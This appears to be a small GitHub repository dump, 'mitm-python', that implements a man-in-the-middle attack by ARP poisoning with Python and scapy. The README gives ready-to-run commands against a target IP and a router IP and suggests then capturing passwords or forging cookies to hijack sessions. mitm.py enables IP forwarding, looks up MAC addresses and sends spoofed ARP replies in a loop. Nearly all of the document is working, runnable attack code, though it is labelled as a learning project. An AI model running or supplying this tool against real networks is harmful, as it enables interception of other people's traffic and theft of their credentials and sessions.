├── .gitignore ├── README.md ├── app.py ├── docs └── Man_in_the_Middle.jpg ├── interface ├── __init__.py ├── constants.py └── mitm.py └── mitm-python.iml /.gitignore: -------------------------------------------------------------------------------- 1 | .idea/ 2 | *.pyc -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # mitm-python 2 | 3 | A keep it simple project demonstrate how to perform a man in the middle attack with python + scapy. 4 | 5 | ![alt text]( docs/Man_in_the_Middle.jpg "mitm attack jpg") 6 | 7 | ## Requirements: 8 | 9 | - Python version 2.7.13 (recommended), or above ... 10 | - It's recommended to use python virtual env in order to organize the project and manage your dependencies. 11 | - dependencies:
12 | Python fire for command line interface: `pip install fire`
13 | Scapy: `pip install scapy`
14 | libdnet: from git source: `git https://github.com/dugsong/libdnet` or from there's [official site](http://libdnet.sourceforge.net/). 15 | If you are using git source then compile and run with `./configure && make` and the install the model using `python setup.py install`, setup.py can be found at the python directory in libdnet. 16 | 17 | ## Running: 18 | 19 | `python app.py -h` - show help
20 | `python app.py target_ip router_ip interface` - run the attack
21 | Example:
22 | `python app.py 192.168.1.39 192.168.1.1 en0` - en0 is the default interface for OS X. 23 | 24 | Remember:exclamation: the script only using arp poisoning in order to "steal" the session between your target and some access point. 25 | You may want to use Wireshark to inspect the target traffic or different tools for getting passwords or forging cookies for stealing sessions. 26 | 27 | :exclamation: This script made for learning purpose :exclamation: -------------------------------------------------------------------------------- /app.py: -------------------------------------------------------------------------------- 1 | import fire 2 | import re 3 | 4 | from sys import argv 5 | from interface.constants import SIGNATURE 6 | from interface.mitm import mitm 7 | 8 | 9 | def attack(ip, r, interface): 10 | """ 11 | Trigger a man in the middle attack using arp poisoning method 12 | :param ip: target ip address 13 | :param r: router ip address 14 | :param interface: interface to operate on 15 | :return: None 16 | """ 17 | if validator(ip) and validator(r): 18 | mitm(ip, r, interface) 19 | else: 20 | raise ValueError(SIGNATURE + 'arguments error, target ip or router ip not follows any ip pattern\n', 21 | 'given: ip=' + ip, 22 | ' r=' + r) 23 | 24 | 25 | def validator(ip): 26 | """ 27 | check if a given ip follows ip regex pattern 28 | :param ip: string to validate 29 | :return: true if the string follows the ip regex pattern, 30 | otherwise return false 31 | """ 32 | if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$", ip) is not None: 33 | return True 34 | return False 35 | 36 | 37 | if __name__ == '__main__': 38 | if argv[1] == '-h': 39 | # help 40 | print('\n~~~~~~~~~~~~~~~~~~~~ Help ~~~~~~~~~~~~~~~~~~~~\n') 41 | print('Usage: sudo python app.py target-ip router-ip interface') 42 | print('e.g sudo python app.py 192.168.1.15 192.168.1.1 en0') 43 | print('Note! sudo is required only in case you want enable port forwarding\n' 44 | 'it\'s optional and can be done manually instead on your operating system.') 45 | print('\n~~~~~~~~~~~~~~~~~~~~ End Help ~~~~~~~~~~~~~~~~~~~~\n') 46 | elif argv[1] == '-guided': 47 | # use guided mode, to be implemented soon ... 48 | pass 49 | 50 | else: 51 | # for users who knows exactly what they want 52 | fire.Fire(attack) 53 | -------------------------------------------------------------------------------- /docs/Man_in_the_Middle.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daniel4x/mitm-python/27b73ad3367633d7919ebfe5d96c01c24f23fc97/docs/Man_in_the_Middle.jpg -------------------------------------------------------------------------------- /interface/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/daniel4x/mitm-python/27b73ad3367633d7919ebfe5d96c01c24f23fc97/interface/__init__.py -------------------------------------------------------------------------------- /interface/constants.py: -------------------------------------------------------------------------------- 1 | """ 2 | Constants for mitm 3 | """ 4 | 5 | SIGNATURE = 'mitm$ ' 6 | OSX = 'Darwin' 7 | LINUX = 'Linux' 8 | MAC_ADDRESS_CLEAN_PATTERN = 'ff:ff:ff:ff:ff:ff' 9 | -------------------------------------------------------------------------------- /interface/mitm.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | 3 | from constants import * 4 | from time import sleep 5 | 6 | import sys 7 | import os 8 | import platform 9 | 10 | 11 | def port_forwarding(flag=1): 12 | """ 13 | require security privilege (sudoer) 14 | :arg flag: 1 - enable port forwarding 15 | 0 - disable port forwarding 16 | """ 17 | flag = str(flag) 18 | if platform.system() == LINUX: 19 | # case we deal with linux os 20 | os.system('echo ' + flag + ' > /proc/sys/net/ipv4/ip_forward') 21 | elif platform.system() == OSX: 22 | # case we deal with OSX - Darwin 23 | os.system('sysctl -w net.inet.ip.forwarding=' + flag) 24 | else: 25 | log('Could not use port forwarding, you may want to try enable it manually...') 26 | 27 | 28 | def get_mac(ip, interface): 29 | """ 30 | Retrieve mac address of given ip address within a given interface 31 | :param ip: ip address 32 | :param interface: interface 33 | :return: mac address (Ether.src) field of the packet 34 | """ 35 | conf.verb = 0 36 | ans, unans = srp(Ether(dst=MAC_ADDRESS_CLEAN_PATTERN) / ARP(pdst=ip), timeout=2, iface=interface, inter=0.1) 37 | for snd, rcv in ans: 38 | return rcv.sprintf(r"%Ether.src%") 39 | 40 | 41 | def done(ip, r, interface): 42 | """ 43 | restoring the session between the targets 44 | :param ip: target ip 45 | :param r: router ip 46 | :param interface: interface to operate 47 | """ 48 | log('Restoring Targets...') 49 | victim_mac = get_mac(ip, interface) 50 | gate_mac = get_mac(r, interface) 51 | send(ARP(op=2, pdst=r, psrc=ip, hwdst=MAC_ADDRESS_CLEAN_PATTERN, hwsrc=victim_mac), count=7) 52 | send(ARP(op=2, pdst=ip, psrc=r, hwdst=MAC_ADDRESS_CLEAN_PATTERN, hwsrc=gate_mac), count=7) 53 | log('Disabling IP Forwarding...') 54 | port_forwarding(0) 55 | log('Shutting Down...') 56 | sys.exit(1) 57 | 58 | 59 | def arp_poison(vm, gm, ip, r, interface, cerr=0): 60 | """ 61 | do arp poison, if libnet not up yet give up to 10 retries 62 | to let it up 63 | :param vm: victim mac address 64 | :param gm: router mac address 65 | :param ip: victim ip address 66 | :param r: router ip address 67 | :param interface: interface to operate on 68 | :param cerr: optional in case of error (not required by the user) 69 | :return: None 70 | """ 71 | try: 72 | send(ARP(op=2, pdst=ip, psrc=r, hwdst=vm)) 73 | send(ARP(op=2, pdst=r, psrc=ip, hwdst=gm)) 74 | except AttributeError: 75 | if cerr == 10: 76 | log('too much errors handled while waiting libnet, sorry, quiting') 77 | port_forwarding(0) 78 | exit(0) 79 | cerr += 1 80 | # recall with error argument 81 | # this may be required while netlib sometimes loaded after scapy 82 | # while scapy using it as a dependency we get an error 83 | # this recursion prevent error situation 84 | arp_poison(gm, vm, ip, r, interface, cerr) 85 | 86 | 87 | def mitm(ip, r, interface): 88 | """ 89 | Executing the man in the middle attack 90 | :param ip: target ip address 91 | :param r: router ip address 92 | :param interface: interface to operate on 93 | """ 94 | step = 0 95 | err_map = {0: '[!] Error could not find victim mac address, force quit!', 96 | 1: '[!] Error could not find getway mac address, force quit!'} 97 | try: 98 | port_forwarding(1) 99 | victim_mac = get_mac(ip, interface) 100 | step = 1 101 | gate_mac = get_mac(r, interface) 102 | step = 2 103 | except Exception as e: 104 | port_forwarding(0) 105 | log(err_map[step]) # print error by the error dictionary 106 | log("[!] Exiting...") 107 | sys.exit(1) 108 | 109 | log("Poisoning Target ...") 110 | while 1: 111 | try: 112 | arp_poison(victim_mac, gate_mac, ip, r, interface) 113 | sleep(1.5) 114 | except KeyboardInterrupt: 115 | done(ip, r, interface) 116 | break 117 | 118 | 119 | def log(msg): 120 | """ 121 | logging a message with signature 122 | :param msg: msg represented as a string 123 | """ 124 | print(SIGNATURE + msg) 125 | -------------------------------------------------------------------------------- /mitm-python.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | --------------------------------------------------------------------------------